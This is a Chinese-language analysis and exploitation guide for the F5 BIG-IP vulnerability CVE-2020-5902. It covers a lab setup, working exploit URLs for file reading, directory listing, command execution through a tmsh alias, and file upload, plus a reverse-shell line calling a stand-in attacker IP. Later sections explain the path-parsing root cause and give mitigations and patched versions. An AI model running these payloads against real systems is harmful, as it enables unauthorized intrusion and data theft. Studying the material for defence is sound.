CVE-2020-5902:F5 BIG-IP RCE分析研究
字数 2443 2025-08-25 22:59:09

CVE-2020-5902: F5 BIG-IP远程代码执行漏洞深度分析与利用指南

漏洞概述

F5 BIG-IP是美国F5公司开发的一款集成流量管理、DNS、出入站规则、Web应用防火墙、Web网关、负载均衡等功能的应用交付平台。2020年7月初,安全研究人员公开披露F5 BIG-IP产品的流量管理用户页面(TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞(CVE-2020-5902)。

影响版本

  • BIG-IP 15.x: 15.0.0 - 15.1.0
  • BIG-IP 14.x: 14.1.0 - 14.1.2
  • BIG-IP 13.x: 13.1.0 - 13.1.3
  • BIG-IP 12.x: 12.1.0 - 12.1.5
  • BIG-IP 11.x: 11.6.1 - 11.6.5

漏洞类型

  1. 远程代码执行(RCE)
  2. 任意文件读取(ReadFile)
  3. 目录列表(ListDirectory)
  4. 任意文件上传(Arbitrary File Upload)

利用条件

  • 上述影响范围内的F5 BIG-IP版本
  • 第一种EXP: 在RCE以及反弹shell时需要近期有用户登录或者用户会话未过期
  • 第二种EXP: F5 BIG-IP未关闭Hysqldb(密码默认为空)

漏洞复现环境搭建

虚拟机下载

  1. 访问F5官网注册账号(https://downloads.f5.com)
  2. 下载存在漏洞的BIG-IP的ova文件(如15.1.0.0)
  3. 下载修复版本的BIG-IP的ova文件(如15.1.0.4)

虚拟机配置

  1. 将ova文件导入VMware Workstations
  2. 启动后使用默认账号密码登录(用户名:root,密码:default)
  3. 重置Web登录密码(要求复杂度,如"kvqasdt!q1")
  4. 通过命令行输入"config"查看IP地址
  5. 使用https://<IP地址>访问Web界面
  6. 使用admin/重置密码登录(如admin/hkn!2gQWsgk)

漏洞利用方法

1. 任意文件读取

POC:

/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

常见可读取文件路径:

  • /etc/passwd
  • /config/profile_base.conf
  • /etc/hosts
  • /etc/f5/f5-icontrol.gateway.https.conf

2. 目录列表

POC:

/tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/

3. 命令执行

方式一: 指令别名方式

# Step 1: 创建执行命令的模式,将list设置为bash的别名
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

# Step 2: 向创建的文件中写入要执行的命令
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/cmd&content=id

# Step 3: 利用前面设置的list来执行文件中的命令
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/cmd

# Step 4: 最后清空list
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list

方式二: tmsh命令语法

# 查看所有用户
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user

# 查看特定用户
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

4. 反弹Shell

# Step 1: 创建执行命令的模式,将list设置为bash
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash

# Step 2: 创建包含反弹shell命令的文件
/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/shell&content=bash+-i+>%26+/dev/tcp/攻击者IP/4444+0>%261

# Step 3: 执行反弹shell
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/shell

5. 任意文件上传

POST请求:

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: <target>
Content-Type: application/x-www-form-urlencoded

fileName=/tmp/test.txt&content=CVE-2020-5902

漏洞原理分析

1. 中间件解析差异

F5 BIG-IP采用Apache+Tomcat组合处理Java应用。漏洞利用的关键在于中间件对URL解析的差异:

  • Apache/Nginx: 将/..;/视为普通目录
  • Tomcat: 将/..;/解释为父级目录,向上回溯一层

当请求https://server/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd时:

  1. Apache解析前半部分/tmui/login.jsp,认为合法并转发给Tomcat
  2. Tomcat看到/..;/后向上回溯,实际请求变为/tmui/tmui/locallb/workspace/fileRead.jsp
  3. 权限校验只检查了/tmui/login.jsp,而该页面允许任意用户访问

2. 请求处理流程

  1. 请求首先由com.f5.controller.ControlServlet处理
  2. 调用F5WebController进行权限校验
  3. 校验时使用request.getPathInfo()获取路径,得到的是原始路径/tmui/login.jsp
  4. 实际处理时Tomcat解析后的路径绕过了后续权限检查

3. 漏洞文件分析

文件读取(fileRead.jsp)

  • 直接调用WorkspaceUtils.readFile(fileName)
  • 未对fileName进行路径校验和权限检查

命令执行(tmshCmd.jsp)

  • 通过WorkspaceUtils.runTmshCommand(cmd)执行命令
  • 只允许create/delete/list/modify四种操作类型
  • 需要将bash设置为list别名来绕过限制

文件上传(fileSave.jsp)

  • 直接调用WorkspaceUtils.saveFile(fileName, content)
  • 可创建任意文件并设置权限

新型POC分析(TEAM ARES)

利用HSQLDB反序列化

  1. 访问/hsqldb;绕过认证
  2. 利用org.hsqldb.util.ScriptTool.main()反序列化攻击载荷
  3. 需要设置enableunsafeserialization=true

利用步骤:

  1. 生成ysoserial payload
  2. 转换为十六进制格式
  3. 通过JDBC连接HSQLDB执行反序列化

优势

  • 不需要用户会话
  • 可绕过部分WAF检测
  • 默认HSQLDB密码为空

防御措施

临时缓解方案

  1. 登录TMOS Shell(tmsh)
  2. 修改httpd配置:
edit /sys httpd all-properties
  1. 添加以下内容:
include '
FileETag MTime Size
<LocationMatch ";">
    Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
    Redirect 404 /
</LocationMatch>
'
  1. 保存并重启服务:
save /sys config
restart sys service httpd

官方补丁升级

  • BIG-IP 15.x: 升级到15.1.0.4
  • BIG-IP 14.x: 升级到14.1.2.6
  • BIG-IP 13.x: 升级到13.1.3.4
  • BIG-IP 12.x: 升级到12.1.5.2
  • BIG-IP 11.x: 升级到11.6.5.2

总结与思考

CVE-2020-5902漏洞展示了中间件解析差异导致的权限绕过风险,以及未授权访问接口的危险性。防御方面需要:

  1. 严格校验文件路径和操作权限
  2. 使用白名单限制可访问目录
  3. 关键操作添加二次认证
  4. 及时更新中间件和应用程序

该漏洞不仅对安全研究人员有参考价值,也为系统架构设计和安全开发提供了重要启示。

CVE-2020-5902: F5 BIG-IP远程代码执行漏洞深度分析与利用指南 漏洞概述 F5 BIG-IP是美国F5公司开发的一款集成流量管理、DNS、出入站规则、Web应用防火墙、Web网关、负载均衡等功能的应用交付平台。2020年7月初,安全研究人员公开披露F5 BIG-IP产品的流量管理用户页面(TMUI)/配置实用程序的特定页面中存在一处远程代码执行漏洞(CVE-2020-5902)。 影响版本 BIG-IP 15.x: 15.0.0 - 15.1.0 BIG-IP 14.x: 14.1.0 - 14.1.2 BIG-IP 13.x: 13.1.0 - 13.1.3 BIG-IP 12.x: 12.1.0 - 12.1.5 BIG-IP 11.x: 11.6.1 - 11.6.5 漏洞类型 远程代码执行(RCE) 任意文件读取(ReadFile) 目录列表(ListDirectory) 任意文件上传(Arbitrary File Upload) 利用条件 上述影响范围内的F5 BIG-IP版本 第一种EXP: 在RCE以及反弹shell时需要近期有用户登录或者用户会话未过期 第二种EXP: F5 BIG-IP未关闭Hysqldb(密码默认为空) 漏洞复现环境搭建 虚拟机下载 访问F5官网注册账号(https://downloads.f5.com) 下载存在漏洞的BIG-IP的ova文件(如15.1.0.0) 下载修复版本的BIG-IP的ova文件(如15.1.0.4) 虚拟机配置 将ova文件导入VMware Workstations 启动后使用默认账号密码登录(用户名:root,密码:default) 重置Web登录密码(要求复杂度,如"kvqasdt !q1") 通过命令行输入"config"查看IP地址 使用https:// <IP地址>访问Web界面 使用admin/重置密码登录(如admin/hkn !2gQWsgk) 漏洞利用方法 1. 任意文件读取 POC: 常见可读取文件路径: /etc/passwd /config/profile_ base.conf /etc/hosts /etc/f5/f5-icontrol.gateway.https.conf 2. 目录列表 POC: 3. 命令执行 方式一: 指令别名方式 方式二: tmsh命令语法 4. 反弹Shell 5. 任意文件上传 POST请求: 漏洞原理分析 1. 中间件解析差异 F5 BIG-IP采用Apache+Tomcat组合处理Java应用。漏洞利用的关键在于中间件对URL解析的差异: Apache/Nginx : 将 /..;/ 视为普通目录 Tomcat : 将 /..;/ 解释为父级目录,向上回溯一层 当请求 https://server/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd 时: Apache解析前半部分 /tmui/login.jsp ,认为合法并转发给Tomcat Tomcat看到 /..;/ 后向上回溯,实际请求变为 /tmui/tmui/locallb/workspace/fileRead.jsp 权限校验只检查了 /tmui/login.jsp ,而该页面允许任意用户访问 2. 请求处理流程 请求首先由 com.f5.controller.ControlServlet 处理 调用 F5WebController 进行权限校验 校验时使用 request.getPathInfo() 获取路径,得到的是原始路径 /tmui/login.jsp 实际处理时Tomcat解析后的路径绕过了后续权限检查 3. 漏洞文件分析 文件读取(fileRead.jsp) 直接调用 WorkspaceUtils.readFile(fileName) 未对fileName进行路径校验和权限检查 命令执行(tmshCmd.jsp) 通过 WorkspaceUtils.runTmshCommand(cmd) 执行命令 只允许create/delete/list/modify四种操作类型 需要将bash设置为list别名来绕过限制 文件上传(fileSave.jsp) 直接调用 WorkspaceUtils.saveFile(fileName, content) 可创建任意文件并设置权限 新型POC分析(TEAM ARES) 利用HSQLDB反序列化 访问 /hsqldb; 绕过认证 利用 org.hsqldb.util.ScriptTool.main() 反序列化攻击载荷 需要设置 enableunsafeserialization=true 利用步骤: 生成ysoserial payload 转换为十六进制格式 通过JDBC连接HSQLDB执行反序列化 优势 不需要用户会话 可绕过部分WAF检测 默认HSQLDB密码为空 防御措施 临时缓解方案 登录TMOS Shell(tmsh) 修改httpd配置: 添加以下内容: 保存并重启服务: 官方补丁升级 BIG-IP 15.x: 升级到15.1.0.4 BIG-IP 14.x: 升级到14.1.2.6 BIG-IP 13.x: 升级到13.1.3.4 BIG-IP 12.x: 升级到12.1.5.2 BIG-IP 11.x: 升级到11.6.5.2 总结与思考 CVE-2020-5902漏洞展示了中间件解析差异导致的权限绕过风险,以及未授权访问接口的危险性。防御方面需要: 严格校验文件路径和操作权限 使用白名单限制可访问目录 关键操作添加二次认证 及时更新中间件和应用程序 该漏洞不仅对安全研究人员有参考价值,也为系统架构设计和安全开发提供了重要启示。